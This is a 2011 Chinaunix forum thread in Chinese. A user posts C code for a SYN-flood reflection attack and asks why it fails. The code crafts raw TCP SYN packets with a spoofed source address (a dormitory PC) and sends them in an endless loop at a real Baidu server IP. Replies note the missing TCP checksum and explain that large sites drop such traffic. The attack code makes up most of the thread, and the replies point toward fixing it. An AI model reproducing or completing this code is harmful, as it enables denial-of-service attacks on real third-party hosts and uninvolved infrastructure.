Chinaunix
标题:
linux SYN洪水问题
[打印本页]
作者:
z85525006
时间:
2011-03-29 20:59
标题:
linux SYN洪水问题
//这个是我照书本上写的,我想弄成反射,为什么不可以阿~!
#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#define DESTPORT 80 /*目的端口,定义要攻击的端口,80为web服务器*/
#define MYPORT 8888 /*自己的端口*/
int main(int argc,char *argv[])
{
int sockfd;
struct sockaddr_in servaddr;
int on;
on = 1;
bzero(&servaddr,sizeof(struct sockaddr_in));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(DESTPORT);
inet_aton("119.75.217.45",&servaddr.sin_addr);
sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP); /*创建一个TCP原始套接字*/
if(sockfd < 0){
puts("连接错误");
exit(1);
}
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
setuid(getuid());
char buffer[100];
struct ip *iph = (struct ip*)buffer;
struct tcphdr *tcp;
memset(buffer,0,100);
/****开始填充ip数据报的头部**/
iph->ip_v = IPVERSION; //ipv4
iph->ip_hl = sizeof(struct ip)>>2; //ip数据报的头部长度
iph->ip_tos = 0; //服务类型
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr) + 8 + 6 + 6; //ip数据报的长度
iph->ip_id = 0; //由内核填写
iph->ip_off = 0; //由内核填写
iph->ip_ttl = MAXTTL; //最长的时间 255
iph->ip_p = IPPROTO_TCP; //传输层协议为TCP
iph->ip_sum = 0; //有内核填写检验和
//OLD WAY iph->ip_src.s_servaddr = inet_servaddr (src_ip);/* source ip */ //反射攻击
inet_pton (AF_INET,"219.151.204.68", &(iph->ip_src)); //被攻击对方(我们寝室的电脑)
iph->ip_dst.s_addr = servaddr.sin_addr.s_addr;//百度服务器
/****开始填充TCP数据报*****/
tcp = (struct tcphdr*)(buffer+sizeof(struct ip)); /**/
tcp->source = htons(MYPORT); //源端口
tcp->dest = servaddr.sin_port; //目的端口
tcp->seq = random(); //随机产生序列号
tcp->ack_seq = 0;
tcp->doff = 5;
tcp->syn = 1; /*表示SYN数据报*/
tcp->check = 0;
puts("正在攻击中...");
/*循环发送攻击包*/
while(1){
//printf("被攻击方(219.151.204.68):正在被%d攻击中\n",servaddr.sin_addr.s_addr);
sendto(sockfd,buffer,iph->ip_len,0,(struct sockaddr*)&servaddr,sizeof(struct sockaddr_in)); /*发送攻击数据报*/
}
return 0;
}
复制代码
//谢谢各位帮我分析一下.
//我是的目的 是想利用 百度的服务器来攻击我同宿舍的电脑(经过同意的)!
//可是不行,帮我看看,分析一下,多谢了~!
作者:
雨夜流星
时间:
2011-03-30 09:29
本帖最后由 雨夜流星 于 2011-03-30 10:34 编辑
.。。。。。。
你的TCP校验在什么地方?
TCP包需要你自己校验的
作者:
雨夜流星
时间:
2011-03-30 09:42
另外你想的也太简单了,像百度这种大的网站,都会有多层大型防火墙设备的,你的syn攻击不会有效的,要么引向黑洞,要么直接丢弃了,倒是你自己,别被人家记录下日志,找你麻烦。
作者:
z85525006
时间:
2011-03-30 15:10
回复
3#
雨夜流星
我弄的是反射,不是洪水,
我是 发送 虚假的包, 源IP 是别人的, 目的IP是 百度的, 百度收到包后就去和 别人的IP连接. 我是攻击别人的电脑,不是百度, 怕怕! 我那里敢攻击百度阿~! 只是借助百度来攻击别人~!~!~
作者:
雨夜流星
时间:
2011-03-30 15:53
本帖最后由 雨夜流星 于 2011-03-30 17:06 编辑
回复
4#
z85525006
你的包都是错的,网卡会丢弃的。。。。
跟本发不出去
你的TCP包不完整,没有校验
作者:
yang_crystal
时间:
2011-03-30 16:19
百度没有那么傻的,你这样的包都是会被直接丢弃的,
还有syn flood攻击没有人用真实IP的。用真实IP那是自找麻烦
作者:
mirnshi
时间:
2011-03-31 17:25
没有握手成功的包会被安全层滤掉的。如果你的方法可行,那百度岂不成了最大的镜子,百度的运维早就下岗了。
作者:
langue
时间:
2011-04-01 01:11
若以 PPP 的方式接入,BRAS 端可能直接丢弃伪造的包。你自己在内网绑一个 IP 用来测试就行了。
欢迎光临 Chinaunix (http://bbs.chinaunix.net/)
Powered by Discuz! X3.2